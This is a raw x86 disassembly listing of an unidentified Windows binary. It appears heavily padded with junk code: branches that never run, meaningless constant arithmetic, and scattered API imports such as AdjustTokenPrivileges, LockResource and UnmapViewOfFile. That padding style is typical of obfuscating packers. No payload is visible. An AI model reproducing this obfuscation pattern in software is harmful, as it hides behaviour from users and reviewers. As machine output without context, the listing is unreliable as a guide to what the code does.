cmp byte [ebp - 0x11], 0
je 0x10032f9a
push 0x65b
call dword [sym.imp.USER32.dll_IsIconic]
dec dword [ebp - 0x44]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10032f7f
lea ecx, [ebp - 0x4f0]
call fcn.1002fffe
mov dword [ebp - 0x34], 0xffffffff
lea ecx, [ebp - 0x2f4]
push esi
call fcn.1002ff7c
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x24], ebx
jmp 0x10032fde
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2f4]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10032fcf
mov eax, dword [ebp - 0x2f4]
mov dword [eax], 0xfffffff9
cmp dword [eax], 0x13
je 0x100330ad
mov dword [ebp - 0x58], 0x599a
cmp dword [ebp - 0x58], 0x5b14
jle 0x10033061
push ebx
push ebx
push 0x1967
push ebx
push ebx
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x44], 0x1013
mov eax, edi
lea ecx, [ebp - 0x84c]
cdq
push edx
push eax
call fcn.1000db90
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003303c
mov eax, dword [eax]
push eax
call fcn.1004eea6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x84c]
call fcn.10030308
add edi, esi
dec dword [ebp - 0x44]
jne 0x10033022
inc esi
cmp esi, 0x55c1
jl 0x10033019
mov byte [ebp - 0x11], bl
cmp dword [ebp - 0x58], 0x55e6
jge 0x10033078
push 0x1000a828
call fcn.1004eea6
pop ecx
mov dword [ebp - 4], 0xf
cmp byte [ebp - 0x11], 0
je 0x1003308c
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100330a0
push 0x457
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [ebp - 0x2f4]
inc dword [eax]
jmp 0x10032fef
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f4]
call fcn.1002fffe
push 3
xor esi, esi
mov dword [ebp - 0x24], ebx
pop edi
inc esi
cmp dword [ebp - 0x24], edi
jge 0x100330d9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x578], esi
inc dword [ebp - 0x24]
jmp 0x100330c5
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x54], 9
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x100330f8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa0], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100330eb
mov dword [ebp - 0x1c], ebx
jmp 0x1003310f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10033102
mov eax, dword [ebp - 0x98]
cmp eax, dword [ebp - 0x98]
jl 0x10033132
mov eax, dword [ebp - 0xa0]
mov ecx, esi
add eax, 0x2a4863ae
jne 0x10033134
mov ecx, ebx
mov eax, dword [ebp - 0x98]
sub ecx, eax
jne 0x10033148
mov ecx, ebx
cmp dword [ebp - 0x98], ebx
je 0x1003314a
mov ecx, esi
mov eax, dword [ebp - 0x98]
xor edx, edx
imul eax, ecx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x98]
cmp ecx, eax
setg dl
mov dword [ebp - 0xc0], edx
mov ecx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x9c]
cmp ecx, eax
setle dl
cmp edx, dword [ebp - 0x9c]
jg 0x10033308
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x30], 0x19c29aed
mov dword [ebp - 0x48], 0x77d98a9a
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jne 0x1003321e
mov eax, dword [ebp - 0x28]
xor edx, edx
imul eax, dword [ebp - 0x28], 0xfffb
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc0]
cmp eax, ecx
mov eax, dword [ebp - 0x98]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], ebx
jne 0x100331f9
mov ecx, ebx
cmp dword [ebp - 0x28], ebx
je 0x100331fb
mov ecx, esi
mov eax, dword [ebp - 0xa0]
add eax, ecx
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x48]
jge 0x1003322f
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x98]
cmp dword [ebp - 0xc4], ebx
je 0x100332d9
mov dword [ebp - 0x40], 0xed0f
mov dword [ebp - 0x4c], esi
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10033260
push ebx
push 0x14c
call dword [sym.imp.USER32.dll_ValidateRgn]
mov dword [ebp - 0x48], ebx
jmp 0x100332d1
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x28], ebx
jmp 0x1003327e
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xc4], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x1003326d
mov dword [ebp - 0x54], ebx
jmp 0x100332c8
mov dword [ebp - 0x44], 2
xor ecx, ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x44]
cmp eax, 0x2ca
setl cl
xor edx, edx
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setge dl
mov dword [ebp - 0x4c], edx
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0x1a
jge 0x10033289
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xffffffec
jle 0x10033265
jmp 0x10033328
xor edx, edx
inc edx
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x48], ebx
jne 0x100332f6
cmp dword [ebp - 0x44], ebx
jne 0x100332ec
mov eax, dword [ebp - 0x44]
mov ecx, ebx
cmp dword [ebp - 0x98], ebx
je 0x100332f8
mov ecx, edx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc4], eax
sub eax, ecx
mov dword [ebp - 0x48], eax
jmp 0x1003332b
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1003331c
push 0xec9
call dword [sym.imp.USER32.dll_GetSystemMetrics]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x40], eax
xor edx, edx
inc edx
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], 0xc
je 0x10034668
push 2
lea ecx, [ebp - 0x184]
call fcn.1002ff7c
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x20], 0x3f9beab1
mov dword [ebp - 0x24], ebx
jmp 0x1003336b
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x184]
mov dword [eax + ecx*4], 0x571177e8
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10033358
mov eax, dword [ebp - 0x184]
xor esi, esi
add eax, 4
inc esi
mov dword [eax], esi
cmp dword [eax], 0xfffffff4
jge 0x10033586
mov dword [ebp - 0x30], 0xd4351cdc
mov dword [ebp - 0x58], 0xffffffff
mov dword [ebp - 0x44], 0x7710
cmp dword [ebp - 0x44], 0x78f7
jle 0x100333ef
push 0x1197
push 0x2489
push 0x3b6
push 0x1d4c
call dword [sym.imp.USER32.dll_CheckRadioButton]
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
mov ecx, 0x1060e278
cdq
push edx
push eax
call fcn.1002fe67
inc esi
cmp esi, 0x6266
jl 0x100333c4
inc edi
cmp edi, 0x1cee
jl 0x100333c2
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor esi, esi
inc esi
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x44], 0x7558
jge 0x1003342c
mov edx, 0x1000a860
mov ecx, 0x1060e278
call fcn.10031911
jmp 0x1003342c
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x24], ebx
jmp 0x10033449
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x310], 0xeccc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10033438
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10033463
push 0x236d
call dword [sym.imp.GDI32.dll_DeleteDC]
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], esi
jg 0x10033576
mov dword [ebp - 0x5c], 0x66b7a7bc
mov dword [ebp - 0x44], 0x4147
cmp dword [ebp - 0x44], 0x4303
jle 0x100334d3
mov edi, ebx
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x6cc]
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.1000db90
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100334a9
mov eax, dword [eax]
push eax
call fcn.1004eea6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6cc]
call fcn.10030308
inc esi
cmp esi, 0x1e96
jl 0x1003348a
inc edi
cmp edi, 0x3e77
jl 0x10033488
xor esi, esi
inc esi
mov eax, dword [ebp - 0x58]
xor edx, edx
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x30]
push 9
mov ecx, dword [ebp + eax*4 - 0x310]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x184]
setne dl
xor ecx, ecx
cmp edx, dword [eax + 4]
mov eax, 0xe9120837
setl cl
cmp eax, ecx
pop eax
sbb ecx, ecx
inc ecx
sub eax, ecx
je 0x10033513
mov edx, esi
cmp dword [ebp - 0x20], ebx
jne 0x10033515
mov edx, ebx
mov eax, dword [ebp - 0x58]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setl cl
cmp ecx, 0x89f7a9d2
mov eax, dword [ebp + eax*4 - 0x310]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setl dl
add edx, 2
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x1932
setge al
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x44], 0x3f1b
jge 0x10033564
push 0x1000a8d4
call fcn.1004eea6
pop ecx
mov dword [ebp - 4], 0x12
mov eax, dword [ebp - 0x5c]
inc dword [ebp - 0x30]
jmp 0x10033466
mov eax, dword [ebp - 0x184]
add eax, 4
dec dword [eax]
jmp 0x1003337f
or esi, 0xffffffff
lea ecx, [ebp - 0x184]
mov dword [ebp - 4], esi
call fcn.1002fffe
mov dword [ebp - 0x54], 0xa12b57e8
lea ecx, [ebp - 0x1dc]
push 2
call fcn.1002ff7c
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x24], ebx
jmp 0x100335c9
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1dc]
mov dword [eax + ecx*4], 0x9b55bb2c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x100335b6
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jl 0x100336ad
mov dword [ebp - 0x54], 0xfffffffe
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x40], 0xf5c9b8db
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], ebx
jl 0x10033632
mov dword [ebp - 0x1c], 0x73d2
dec dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jg 0x1003362d
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1dc]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jle 0x1003360d
xor eax, eax
xor ebx, ebx
inc eax
dec dword [ebp - 0x54]
jns 0x100335fb
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], ebx
jl 0x100336a4
mov edi, dword [ebp - 0x1dc]
mov dword [ebp - 0x58], 0x2b53
xor ecx, ecx
mov dword [ebp - 0x40], 0xf79facd4
mov dword [ebp - 0x4c], 6
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x58], ebx
mov esi, dword [ebp - 0x28]
imul eax, dword [ebp - 0x40], 0xb2ae999b
mov edx, dword [ebp - 0x1dc]
push 1
cmp dword [edx + esi*4], eax
setl cl
mov dword [ebp - 0x44], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x54]
cmp dword [edi + 4], eax
pop eax
setge cl
mov dword [ebp - 0x40], ecx
dec dword [ebp - 0x54]
jns 0x10033640
dec dword [ebp - 0x28]
jns 0x100335de
lea ecx, [ebp - 0x1dc]
call fcn.1002fffe
xor edx, edx
mov dword [ebp - 0x54], 0x19
push 3
inc edx
pop edi
cmp dword [ebp - 0x54], 0xfffffff0
jg 0x10034660
push edx
lea ecx, [ebp - 0x1ac]
call fcn.1002ff7c
mov dword [ebp - 4], 0x17
xor edx, edx
mov dword [ebp - 0x24], ebx
inc edx
mov dword [ebp - 0x38], 0x4ab274bf
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x4c], 0x5950
mov dword [ebp - 0x58], 0xcd8a6ce
mov dword [ebp - 0x1c], ebx
jmp 0x10033721
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1ac]
mov dword [eax + ecx*4], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1003370e
mov dword [ebp - 0x1c], ebx
jmp 0x1003373c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xdc], 0x60b4ffb8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003372b
mov dword [ebp - 0xd8], ebx
cmp dword [ebp - 0xd8], ebx
jg 0x10033809
lea esi, [ebp - 0x51c]
lea eax, [ebp - 0x50c]
movdqa xmm0, xmmword [0x1000c780]
push ecx
push eax
mov dword [ebp - 0x2c], 0xfffffff8
lea ecx, [ebp - 0x5f0]
push esi
movdqu xmmword [ebp - 0x51c], xmm0
call fcn.1002ffd8
push 4
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 4], 0x18
call fcn.1002ff7c
mov dword [ebp - 0x24], ebx
jmp 0x100337ae
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3b4]
mov dword [eax + ecx*4], 6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003379b
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x1ac]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
lea ecx, [ebp - 0x3b4]
mov eax, dword [ebp - 0x3b4]
dec dword [eax]
call fcn.1002fffe
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 0x17
call fcn.1002fffe
inc dword [ebp - 0xd8]
lea eax, [ebp - 0x50c]
cmp dword [ebp - 0xd8], ebx
jle 0x10033760
xor edx, edx
inc edx
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x100338e8
mov dword [ebp - 0x20], 0xffff
mov dword [ebp - 0x5c], 0x64f2ca12
mov dword [ebp - 0x18], 0x2c75
mov dword [ebp - 0x1c], ebx
jmp 0x10033840
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x454], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003382f
mov dword [ebp - 0x1c], ebx
jmp 0x1003385b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x424], 0x26ae69ed
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003384a
mov dword [ebp - 0x44], 0x906d
cmp dword [ebp - 0x44], ebx
jne 0x10033879
mov eax, dword [ebp - 0x1ac]
mov esi, ebx
cmp dword [eax], ebx
je 0x1003387b
mov esi, edx
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x420]
cmp ecx, eax
setle dl
cmp edx, dword [ebp - 0x44c]
je 0x1003389b
cmp dword [ebp - 0x4c], ebx
jne 0x1003389b
mov eax, dword [ebp - 0x5c]
dec dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
lea eax, [esi + 1]
cmp eax, 0xaea1
mov eax, dword [ebp - 0x1ac]
push 1
setne cl
mov edx, dword [eax + edx*4]
sub edx, ecx
sub edx, dword [eax]
mov eax, dword [ebp - 0x38]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
pop edx
setge cl
mov dword [ebp - 0x44c], ecx
dec dword [ebp - 0x24]
jns 0x10033815
or esi, 0xffffffff
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 4], esi
call fcn.1002fffe
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], 0xe76f5020
mov dword [ebp - 0x40], 0x6d402da3
mov dword [ebp - 0x24], ebx
jmp 0x1003391c
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x538], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1003390f
xor esi, esi
mov dword [ebp - 0x1c], ebx
inc esi
cmp dword [ebp - 0x1c], edi
jg 0x100339de
mov dword [ebp - 0x20], 0xff3d
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x4c], 0xe314a5ea
mov dword [ebp - 0x24], ebx
jmp 0x10033954
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x67c], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10033947
mov eax, dword [ebp - 0x538]
imul eax, dword [ebp - 0x530]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jb 0x10033982
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
je 0x1003397a
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x20], ebx
jne 0x10033982
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x20], ebx
je 0x100339c5
mov dword [ebp - 0x24], ebx
jmp 0x100339a0
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x614], 0xd21cd430
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1003398f
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100339ba
push 0x1c48
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x614], eax
jmp 0x100339cd
cmp dword [ebp - 0x530], ebx
jne 0x100339de
mov eax, dword [ebp - 0x678]
mov dword [ebp - 0x40], esi
inc dword [ebp - 0x1c]
jmp 0x10033928
movdqa xmm0, xmmword [0x1000c760]
lea ecx, [ebp - 0x5c4]
push ecx
lea eax, [ebp - 0x5b4]
mov dword [ebp - 0x30], 0x44adca1a
push eax
push ecx
lea ecx, [ebp - 0x62c]
movdqu xmmword [ebp - 0x5c4], xmm0
call fcn.1002ffd8
mov dword [ebp - 0x20], 0x29000d4e
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], ebx
jl 0x10033a3c
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10033a37
push ebx
push ebx
push 0xc06
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
dec dword [ebp - 0x20]
jns 0x10033a1e
lea ecx, [ebp - 0x62c]
call fcn.1002fffe
mov dword [ebp - 0x2c], 0xffffffff
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10033a5d
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10033a6d
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
or eax, 0xffffffff
lea ecx, [ebp - 0x288]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x28], eax
push 2
call fcn.1002ff7c
mov dword [ebp - 0x24], ebx
jmp 0x10033a9e
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x288]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x10033a8f
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], 0xaaf0
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x50], 0x1c3ffbe4
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
neg eax
sub eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xffff
mov eax, dword [ebp - 0x288]
sbb ecx, ecx
inc ecx
mov dword [eax], ecx
mov dword [ebp - 0x50], 0xf
jmp 0x10033b0e
mov dword [ebp - 0x40], 0xfa72
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x288]
mov dword [eax], ecx
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xffffffe9
je 0x10033af9
lea ecx, [ebp - 0x288]
call fcn.1002fffe
xor edx, edx
mov dword [ebp - 0x24], ebx
inc edx
jmp 0x10033b38
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xa8], 0x312b
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10033b27
mov dword [ebp - 0x50], ebx
or esi, 0xffffffff
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x50], ebx
jmp 0x10033ba1
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x1c], 0xfffffff9
jmp 0x10033b98
mov dword [ebp - 0x40], 0x513c61c7
mov ecx, edx
mov dword [ebp - 0x40], 0x9ce4562
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
sub ecx, eax
sub ecx, dword [ebp - 0x50]
xor eax, eax
imul ecx, dword [ebp - 0x1c]
cmp ecx, 0x9fa8
setg al
sub eax, 0x7c2076ac
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xf
jne 0x10033b5b
dec dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0xfffffff8
jg 0x10033b4b
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0x54], 0x1f455
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x38], 0xdd1e
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x2c], 0x5741311e
mov dword [ebp - 0x44], 0xbbd4856c
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x38], 0xfffffffa
cmp dword [ebp - 0x38], edx
je 0x10033dfa
mov dword [ebp - 0x30], 0xd8143836
lea ecx, [ebp - 0x158]
push 4
call fcn.1002ff7c
xor esi, esi
mov dword [ebp - 4], 0x19
inc esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x5c], 0xa9711f64
mov dword [ebp - 0x44], 0x6316
cmp dword [ebp - 0x44], 0x6323
jle 0x10033c98
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov edi, ebx
mov esi, ebx
lea eax, [esi + edi]
mov ecx, 0x1060e278
cdq
push edx
push eax
call fcn.1002fe67
inc esi
cmp esi, 0x7c5c
jl 0x10033c60
inc edi
cmp edi, 0x37f0
jl 0x10033c5e
mov dword [ebp - 0x24], ebx
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x44], 0x6223
jge 0x10033cdb
mov edx, 0x1000a900
mov ecx, 0x1060e278
call fcn.10031911
jmp 0x10033cdb
mov dword [ebp - 0x24], ebx
jmp 0x10033cef
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jg 0x10034658
mov dword [ebp - 0x38], 0xdd1e
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], 0x5741311e
mov dword [ebp - 0x44], 0xbbd4856c
mov dword [ebp - 0x40], 2
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], 0xfffffffa
cmp dword [ebp - 0x38], edx
je 0x1003403b
mov dword [ebp - 0x50], 0xd8143836
lea ecx, [ebp - 0x140]
push 4
call fcn.1002ff7c
xor esi, esi
mov dword [ebp - 4], 0x1c
inc esi
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x44], 0xfde
cmp dword [ebp - 0x44], 0x131a
jle 0x10033ed2
mov dword [ebp - 0x5c], 0xfffffffd
mov dword [ebp - 0x2c], 0xb4e1a362
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0xe3e63e31
mov dword [ebp - 0x44], 0xffff
mov dword [ebp - 0x24], ebx
jmp 0x10034077
dec dword [ebp - 0x54]
jmp 0x100336c5
inc dword [ebp - 0x3c]
jmp 0x1003332e
or esi, 0xffffffff
lea ecx, [ebp - 0x46c]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x4c], 0x9fe57f6c
mov dword [ebp - 0x4c], 0x1b4956e7
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x38], 0x51f1e283
mov dword [ebp - 0x2c], edx
push edi
call fcn.1002ff7c
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x18], ebx
jmp 0x100346b0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x46c]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100346a1
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x58], 0x3d8c
cmp dword [ebp - 0x58], 0x3e73
jle 0x1003474e
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov eax, ebx
mov dword [ebp - 0x44], ebx
mov ecx, eax
mov dword [ebp - 0x4c], 0x7556
mov dword [ebp - 0x20], ecx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
xor edx, ecx
lea ecx, [ebp - 0x6f0]
mov eax, edx
cdq
push edx
push eax
call fcn.1000db90
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1003470a
mov eax, dword [eax]
push eax
call fcn.1004eea6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6f0]
call fcn.10030308
mov ecx, dword [ebp - 0x20]
inc esi
cmp esi, 0x147d
jl 0x100346e9
inc edi
cmp edi, 0x7561
jl 0x100346e7
dec ecx
dec dword [ebp - 0x4c]
mov dword [ebp - 0x20], ecx
jne 0x100346e5
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp eax, 0x6062
jl 0x100346d9
push 3
pop edi
cmp byte [ebp - 0x11], 0
je 0x1003475b
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp dword [ebp - 0x58], 0x3d11
jge 0x1003476f
push 0x1000aa28
call fcn.1004eea6
pop ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x30]
neg eax
push 8
sbb eax, eax
xor edx, edx
inc eax
